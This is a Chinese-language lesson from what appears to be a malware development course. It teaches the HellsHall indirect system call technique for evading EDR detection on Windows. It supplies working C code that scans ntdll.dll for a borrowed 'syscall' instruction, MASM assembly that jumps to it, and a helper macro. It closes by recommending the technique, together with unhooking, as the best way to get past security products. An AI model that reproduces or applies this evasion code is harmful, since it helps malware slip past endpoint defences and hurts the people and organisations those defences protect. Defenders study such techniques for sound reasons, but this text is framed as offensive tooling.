模块 89 - 间接系统调用 (Indirect Syscalls) - HellsHall
恶意软件开发课程 - 间接系统调用 (Indirect Syscalls) - HellsHall
模块 89 - 间接系统调用 (Indirect Syscalls) - HellsHall#
间接系统调用 (Indirect Syscalls) - HellsHall#
简介#
在上一模块中,我们更新了 Hell’s Gate 的实现 (TartarusGate),提高了它获取被挂钩 Syscall 的 SSN 的能力。然而,该实现仍然依赖于直接系统调用 (Direct Syscalls),即 syscall 指令是在本地进程的地址空间内执行的,而不是在它本该执行的地方——ntdll.dll。
EDR 和其他安全解决方案可以通过回调 (Callbacks) 检测直接系统调用。当程序流在用户模式和内核模式之间转换(即执行 syscall 或返回时),这些回调会被触发。
例如,如果安全解决方案使用带有 ProcessInstrumentationCallback 标志的 NtSetProcessInformation ↗,它可以设置一个回调函数,每当执行流从内核返回到用户模式时就会执行该回调。该回调函数可以分析执行 syscall 的指令地址是否位于 ntdll.dll 的地址空间内。
- 问题:如果在我们自己的 .exe 或 .dll 中直接写
syscall汇编指令,EDR 看到指令指针 (RIP) 指向我们的代码区域,就会判定为异常。 - 解决:我们需要使用 间接系统调用 (Indirect Syscalls)。
- 使用 HellsHall 技术,我们不再直接执行
syscall,而是跳转 (JMP) 到ntdll.dll内部现有的syscall指令上。
💡 初学者提示:什么是间接系统调用?
类比理解: 想象你要进入一个守卫森严的皇宫(内核)。
- 直接系统调用:其是你在皇宫围墙外自己挖了一个地道(在自己的代码里写
syscall)钻进去。守卫(EDR 回调)看到你从地道钻出来,立刻就知道你是非法入侵者。- 间接系统调用:你发现皇宫大门(NTDLL)有一个合法的跳板(Trampoline)。你先跳到这个合法的跳板上,利用惯性被弹进皇宫。守卫看到你是从正门方向进来的,就会认为你是合法的访客。
下图展示了间接系统调用的原理。

寻找 Syscall 地址#
我们将继续使用上一模块的代码,因为仍然需要指定 Syscall 的 SSN。唯一的区别在于汇编函数:我们需要用 jmp 指令替换 syscall 指令。jmp 指令需要一个跳转地址,如前所述,这个地址必须位于 ntdll.dll 内部。
任何有效的 syscall 指令地址都可以使用,但最好使用与当前调用的 Syscall 不同的函数的 syscall 指令。这是一种混淆策略。
例如,如果要调用 NtAllocateVirtualMemory,最好跳转到内存中不属于 NtAllocateVirtualMemory 的 syscall 指令地址,比如跳转到 ZwWriteFileGather 的 syscall 指令地址。

更新 NT_SYSCALL 结构体#
为此,新引入的 NT_SYSCALL 结构体现在将包含一个新成员 pSyscallInstAddress。该成员保存 NTDLL 中随机 syscall 指令的地址。
typedef struct _NT_SYSCALL
{
DWORD dwSSn; // 系统调用号
DWORD dwSyscallHash; // 系统调用哈希值
PVOID pSyscallAddress; // 系统调用函数的地址
PVOID pSyscallInstAddress; // ntdll 中随机 'syscall' 指令的地址 (跳板地址)
} NT_SYSCALL, * PNT_SYSCALL;c更新 FetchNtSyscall#
下一步是修改 FetchNtSyscall 函数以搜索 syscall 指令地址。更新后的代码执行以下操作:
- 检查是否成功获取了 Syscall 的地址。
- 将 Syscall 函数地址加上
0xFF(255 字节),从此位置开始搜索syscall指令。原因是在远离初始 Syscall 的随机函数中搜索syscall指令,增加随机性。 - 启动一个 for 循环,搜索操作码
0x0f和0x05(代表syscall指令)。 - 找到匹配项后,将
pSyscallInstAddress设置为检索到的syscall指令的地址。
// ... 在 FetchNtSyscall 函数末尾 ...
//-----------------------------------------------------------------------------------------------------------------------
// 更新部分 //
if (!pNtSys->pSyscallAddress)
return FALSE;
// 在随机位置查找 (距离 syscall 地址 0xFF 字节处开始)
ULONG_PTR uFuncAddress = (ULONG_PTR)pNtSys->pSyscallAddress + 0xFF;
// 获取另一个 syscall 函数的 'syscall' 指令
for (DWORD z = 0, x = 1; z <= RANGE; z++, x++) {
if (*((PBYTE)uFuncAddress + z) == 0x0F && *((PBYTE)uFuncAddress + x) == 0x05) {
pNtSys->pSyscallInstAddress = ((ULONG_PTR)uFuncAddress + z);
break; // 跳出循环
}
}
//-----------------------------------------------------------------------------------------------------------------------
if (pNtSys->dwSSn != NULL && pNtSys->pSyscallAddress != NULL && pNtSys->dwSyscallHash != NULL && pNtSys->pSyscallInstAddress != NULL)
return TRUE;
// ...c更新 SetSSn 和 RunSyscall#
回忆一下用来启动 Syscall 的汇编函数。
以前,SetSSn 只需要 SSN。现在,SetSSn 还需要另一个值 qSyscallInsAdress,即要跳转到的 syscall 指令的地址。初始化这些值后,RunSyscall 将执行它们。
混淆后的汇编函数#
.data
wSystemCall DWORD 0h
qSyscallInsAdress QWORD 0h
.code
SetSSn proc
xor eax, eax ; eax = 0
mov wSystemCall, eax ; wSystemCall = 0
mov qSyscallInsAdress, rax ; qSyscallInsAdress = 0
mov eax, ecx ; eax = ssn
mov wSystemCall, eax ; wSystemCall = eax = ssn
mov r8, rdx ; r8 = AddressOfASyscallInst (跳板地址)
mov qSyscallInsAdress, r8 ; qSyscallInsAdress = r8
ret
SetSSn endp
RunSyscall proc
xor r10, r10 ; r10 = 0
mov rax, rcx ; rax = rcx (保存第1个参数)
mov r10, rax ; r10 = rcx (Syscall 约定: 第1个参数放 r10)
mov eax, wSystemCall ; eax = ssn
jmp Run ; 跳转到 'Run'
xor eax, eax ; 不会运行
xor rcx, rcx ; 不会运行
shl r10, 2 ; 不会运行
Run:
jmp qword ptr [qSyscallInsAdress] ; 关键: 跳转到 NTDLL 里的 'syscall' 指令
xor r10, r10
mov qSyscallInsAdress, r10
ret
RunSyscall endp
endasm创建辅助宏#
为了更方便地调用 SetSSn,我们创建了 SET_SYSCALL 宏。
#define SET_SYSCALL(NtSys)(SetSSn((DWORD)NtSys.dwSSn,(PVOID)NtSys.pSyscallInstAddress))c演示#
- 在 x64dbg 中运行 HellsHall 实现。
NtAllocateVirtualMemory实际上在使用NtReleaseMutant的syscall指令地址 (0x00007FF8308E3F82)。- 执行
NtAllocateVirtualMemory时,触发断点,显示syscall指令确实是从ntdll.dll内部执行的。

总结#
最佳方法是使用 HellsHall 实现,以规避基于直接系统调用检测的安全解决方案。为了进一步增强规避能力,建议结合使用 HellsHall 和前面学到的 Unhooking 技术。
请注意,GitHub ↗ 上有一个公共版本的 HellsHall,但缺少某些功能。本模块中解释的版本包含更多功能。